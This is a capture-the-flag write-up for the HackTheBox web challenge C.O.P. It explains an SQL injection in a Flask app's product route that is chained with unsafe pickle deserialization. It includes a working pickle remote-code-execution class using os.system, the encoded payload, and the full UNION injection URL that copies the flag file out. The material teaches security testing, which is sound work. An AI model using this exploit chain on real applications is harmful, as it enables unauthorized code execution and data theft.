C.O.P - Web challenge - HackTheBox
INTRODUCTION
C.O.P is an apparently easy web-based challenge created by InfoSecJack.
It involves exploitation of SQL injection followed by insecure deserialization.
Apart from the running instance, the source code of the web application is given.
GOING THROUGH SOURCE CODE
The entrypoint to the application is at challenge/run.py
.
1
2
3
4
5
6
7
from application.app import app
from application.database import migrate_db
with app.app_context():
migrate_db()
app.run(host='0.0.0.0', port=1337, debug=False, use_evalex=False)
It gives reference to the main Flask
application script at challenge/application/app.py
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from flask import Flask, g
from application.blueprints.routes import web
import pickle, base64
app = Flask(__name__)
app.config.from_object('application.config.Config')
app.register_blueprint(web, url_prefix='/')
@app.template_filter('pickle')
def pickle_loads(s):
return pickle.loads(base64.b64decode(s))
@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None: db.close()
There are 2 things worth noting here:
- The routes for this
Flask
application can be found atchallenge/application/blueprints/routes.py
. - The
pickle
module is being used in a template filter called ‘pickle’ to deserialize some data here which might be vulnerable to insecure deserialization if that data can be controlled by us.
1
2
3
4
5
6
7
8
9
10
11
12
from flask import Blueprint, render_template
from application.models import shop
web = Blueprint('web', __name__)
@web.route('/')
def index():
return render_template('index.html', products=shop.all_products())
@web.route('/view/<product_id>')
def product_details(product_id):
return render_template('item.html', product=shop.select_by_id(product_id))
There are 2 routes here.
The /
route simply renders the index.html
. Also, the template expects a Jinja variable products
whose values are fetched from the database.
Similarly, the /view/<product_id>
renders item.html
, and also expects another Jinja variable product
whose value again is fetched from the database.
Apart from these, there is also a database model having shop
table.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
SNIP
.
.
<div class="container px-4 px-lg-5 my-5">
<div class="row gx-4 gx-lg-5 align-items-center">
{ % set item = product | pickle % }
<div class="col-md-6"><img class="card-img-top mb-5 mb-md-0" src="{ { item.image } }" alt="..." /></div>
<div class="col-md-6">
<h1 class="display-5 fw-bolder">{ { item.name } }</h1>
<div class="fs-5 mb-5">
<span>£{ { item.price } }</span>
</div>
<p class="lead">{ { item.description } }</p>
</div>
</div>
</div>
.
.
SNIP
The pickle
template filter that is found earlier is being used in the item.html
template.
The value of product
Jinja variable is deserialized using pickle before it is used in the template.
This narrows down to the fact that if we can control product
variable, we might be able to exploit insecure deserialization in pickle
module.
The definition for the database model is at challenge/application/models.py
.
1
2
3
4
5
6
7
8
9
10
11
12
13
from application.database import query_db
class shop(object):
@staticmethod
def select_by_id(product_id):
return query_db(f"SELECT data FROM products WHERE id='{product_id}'", one=True)
@staticmethod
def all_products():
return query_db('SELECT * FROM products')
There are few things worth noting here:
- The function
query_db()
defined inchallenges/application/database.py
takes a query as parameter and runs it on the database. - There is no sanitation being done on the
product_id
value in query parameter ofquery_db()
inselect_by_id()
method. - And if we go back, we can see that the
product_id
is referenced from the/view/<product_id>
route, which is totally in control of us. - So there is a SQL injection vulnerability.
CONNECTING PIECES TOGETHER
We can control product_id
from the route /view/<product_id>
through the SQL injection.
This means we also have control over product
jinja variable in the template item.html
.
The above 2 facts lead to the conclusion that we can exploit an insecure deserialization in the pickle
module through the product_id
parameter in /view/<product_id>
route.
A WEIRD THING
The definition of query_db()
is below:
1
2
3
4
5
6
7
8
9
def query_db(query, args=(), one=False):
with app.app.app_context():
cur = get_db().execute(query, args)
rv = [dict((cur.description[idx][0], value) \
for idx, value in enumerate(row)) for row in cur.fetchall()]
print(rv)
return (next(iter(rv[0].values())) if rv else None) if one else rv
There is a second parameter apart from the query which is named one
and set to False
by default.
This parameter basically decides if the function should return a single output row or all of the rows based on the value of one
parameter.
It returns only the first row if the value of one
is True
.
And unfortunately the value of one
is set to True
in query_db()
function of select_by_id()
method.
That means if we try to inject our payload using the UNION
sql injection method, it is supposed to not get deserialized since select_by_id()
method will return the first output row from the query, which is a valid one.
Obviously, another way can be like exploiting a SQL stacked query to INSERT/UPDATE
a new record containing malicious payload. But the sqlite3
module in python
does not support executing multiple queries using a single execute()
method. So this is out-of-question.
But let us do not get drowned by assumptions and see things for practical.
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(n3hal㉿Universe7)-[~]
└─$ docker run -it cop:latest sh
/app # python run.py
* Serving Flask app 'application.app'
* Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
* Running on all addresses (0.0.0.0)
* Running on http://127.0.0.1:1337
* Running on http://172.17.0.2:1337
Press CTRL+C to quit
^C/app #
I have popped an interactive sh
shell on docker image.
I also ran the entrypoint script, as this will do all the migration stuff and create the schema in the database.
1
2
3
4
5
6
7
8
9
10
11
12
13
app # python
Python 3.8.16 (default, Dec 8 2022, 03:43:16)
[GCC 12.2.1 20220924] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>>
>>> import sqlite3
>>> con = sqlite3.connect('cop.db')
>>>
>>> con.execute("SELECT 'I am first' UNION SELECT 'I am last'").fetchall()
[('I am first',), ('I am last',)]
>>>
As expected, the string before the UNION
comes first, and the string after UNION
comes last.
Now see the MAGIC!!
1
2
3
4
5
>>> con.execute("SELECT data FROM products WHERE id = '1' UNION SELECT 'I am supposed to come last, what the heck!!'").fetchall()
[('I am supposed to come last, what the heck!!',), ('gASVoAAAAAAAAACMFGFwcGxpY2F0aW9uLmRhdGFiYXNllIwESXRlbZSTlCmBlH2UKIwEbmFtZZSMDFBpY2tsZSBTaGlydJSMC2Rlc2NyaXB0aW9ulIwZR2V0IG91ciBuZXcgcGlja2xlIHNoaXJ0IZSMBWltYWdllIwfL3N0YXRpYy9pbWFnZXMvcGlja2xlX3NoaXJ0LmpwZ5SMBXByaWNllIwCMjOUdWIu',)]
>>>
When we used a query on the products
table with WHERE
clause, the string after UNION
comes first in the output and the output of the original query before the UNION
comes at last.
This behaviour can be used to our advantage. We can use UNION
in the SQL injection to inject our deserialization payload, and by this behaviour the injected payload will be deserialized and we might get code execution.
CRAFTING DESERIALIZATION PAYLOAD
I do not intend to spend much time in explaining deserialization in pickle.
You can refer to this guide for specifics about the topic.
Let me give you an overview: while deserializing a pickled python class, if there is a __reduce__
method defined in the class, it is supposed to return a function along with a tuple of arguments. Finally, the returned function is called, with the arguments in the returned tuple. This essentially gives us the potential to achieve code execution.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import pickle
import base64
import os
class RCE:
def __reduce__(self):
cmd = ('cp /app/flag.txt /app/application/static/flag.txt')
return os.system, (cmd,)
if __name__ == '__main__':
pickled = pickle.dumps(RCE())
print(base64.urlsafe_b64encode(pickled))
We have created a RCE
class having defined a __reduce__()
method that returns the function os.system
and a tuple having a bash
command as a value. Then we serialize and base64 the output.
When the output is deserialized, the /app/flag.txt
is copied to /app/application/static/flag.txt
which is the static directory of Flask
and is publicly accessible.
The reason I cp
‘ed it and not cat
‘ed because it is a blind injection and we can not see the output of cat
.
1
2
3
4
5
┌──(n3hal㉿Universe7)-[~/…/challenges/web/c.o.p/exploit]
└─$ python exploit.py
b'gASVTAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjDFjcCAvYXBwL2ZsYWcudHh0IC9hcHAvYXBwbGljYXRpb24vc3RhdGljL2ZsYWcudHh0lIWUUpQu'
We have crafted the deserialization payload.
CRAFTING SQL INJECTION PAYLOAD
The injection point is the product_id
in the /view/<product_id>
route.
If the id of the product is 1
, the full URL will be http://[IP]:[PORT]/view/1
.
We want to use UNION
to inject the deserialized payload. The final payload will be:
1
2
3
http://[IP]:[PORT]/view/1' UNION SELECT 'gASVTAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjDFjcCAvYXBwL2ZsYWcudHh0IC9hcHAvYXBwbGljYXRpb24vc3RhdGljL2ZsYWcudHh0lIWUUpQu';--
After we make the HTTP request to the payload URL, we just need to check for flag.txt
in /static
route.
1
2
3
4
5
┌──(n3hal㉿Universe7)-[~/…/challenges/web/c.o.p/exploit]
└─$ curl 'http://172.17.0.2:1337/static/flag.txt'
HTB{f4k3_fl4gs_f0r_t3st1ng}
We can see that our payload worked. Try the same thing on the running instance to get the real flag.
This is all I have in this challenge.
Thanks for reading this far :) Hope you liked it.